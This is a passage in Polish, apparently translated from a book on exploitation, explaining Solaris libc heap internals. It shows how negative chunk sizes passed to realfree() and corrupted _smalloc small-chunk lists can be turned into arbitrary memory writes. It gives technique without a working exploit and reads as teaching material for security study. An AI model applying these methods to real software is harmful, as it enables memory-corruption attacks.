n -= WORDSIZE;
SIZE(sp) = size;
tp = NEXT(sp);
SIZE(tp) = n|BIT0;
realfree(DATA(tp));

W tym przypadku, jeśli rozmiar fragmentu Bottom został nadpisany rozmiarem ujemnym, funkcja realfree() może zostać wywołana na danych kontrolowanych przez użytkownika z przesunięciem względem fragmentu Bottom. W poprzednim przykładzie kodu sp wskazuje na porcję Bottom o uszkodzonym rozmiarze. Część dolnego fragmentu zostanie zabrana do nowej alokacji pamięci, a nowy fragment tp będzie miał rozmiar ustawiony na n. Zmienna n w tym przypadku to uszkodzony rozmiar ujemny, pomniejszony o rozmiar nowej alokacji i rozmiar WORDSIZE. Realfree() jest następnie wywoływana na nowo skonstruowanym fragmencie, tp, który ma ujemną wielkość. W tym momencie wspomniana wcześniej metodologia przy użyciu t_delete() będzie działać dobrze.

Korupcja małych kawałków

Minimalny rozmiar prawdziwej porcji malloc to 48 bajtów niezbędnych do przechowywania struktury TREE (w tym nagłówka rozmiaru). Zamiast zaokrąglać wszystkie małe żądania malloc do tego dość dużego rozmiaru, implementacja sterty Solaris ma alternatywny sposób radzenia sobie z małymi fragmentami. Każde żądanie malloc() dla rozmiaru mniejszego niż 40 bajtów skutkuje innym przetwarzaniem niż żądania dotyczące większych rozmiarów. Jest to realizowane przez funkcję _smalloc w malloc.c. Obsługiwane są żądania zaokrąglane w górę do 8, 16, 24 lub 32 bajtówprzez ten kod. Funkcja _smalloc alokuje tablicę bloków pamięci o tym samym rozmiarze, aby wypełnić małe żądania malloc. Bloki te są ułożone na połączonej liście, a gdy żądanie alokacji zostanie wykonane dla odpowiedniego rozmiaru, zwracany jest nagłówek połączonej listy. Po zwolnieniu małego fragmentu nie przechodzi on przez normalne przetwarzanie, ale po prostu jest umieszczany z powrotem na właściwej liście linków na początku. Libc utrzymuje bufor statyczny zawierający nagłówki połączonych list. Ponieważ te fragmenty pamięci nie przechodzą przez normalne przetwarzanie, potrzebne są pewne alternatywy, aby poradzić sobie z występującymi w nich przepełnieniami. Poniżej przedstawiono strukturę małego kawałka malloc.

Struktura małego kawałka malloc

WORD size (8 bytes) WORD next (8 bytes) User data (8, 16, 24, or 32 bytes large)

Ponieważ małe fragmenty różnią się od dużych fragmentów wyłącznie na podstawie ich pola rozmiaru, istnieje możliwość zastąpienia pola rozmiaru małego fragmentu malloc dużym lub ujemnym rozmiarem. Spowodowałoby to przejście przez normalne przetwarzanie porcji po zwolnieniu i umożliwienie standardowych metod eksploatacji sterty. Lista powiązana małych fragmentów malloc pozwala na inny interesujący mechanizm exploitów. W niektórych sytuacjach nie jest możliwe uszkodzenie pobliskich nagłówków porcji danymi kontrolowanymi przez atakującego. Doświadczenie osobiste pokazało, że taka sytuacja nie jest całkowicie rzadka i często występuje, gdy dane, które nadpisują nagłówek fragmentu, są dowolnym ciągiem lub innymi niekontrolowanymi danymi. Jeśli jednak możliwe jest nadpisanie innych części sterty danymi zdefiniowanymi przez atakującego, często można zapisać na listach połączonych małych porcji malloc. Zastępując następny wskaźnik na tej połączonej liście, można sprawić, że malloc() zwróci dowolny wskaźnik w dowolnym miejscu pamięci. Jakiekolwiek dane programu są zapisywane do wskaźnika zwróconego przez malloc(), uszkodzą podany adres. Można to wykorzystać do nadpisania więcej niż 4 bajtów przez przepełnienie sterty i może sprawić, że niektóre inne trudne przepełnienia będą możliwe do wykorzystania.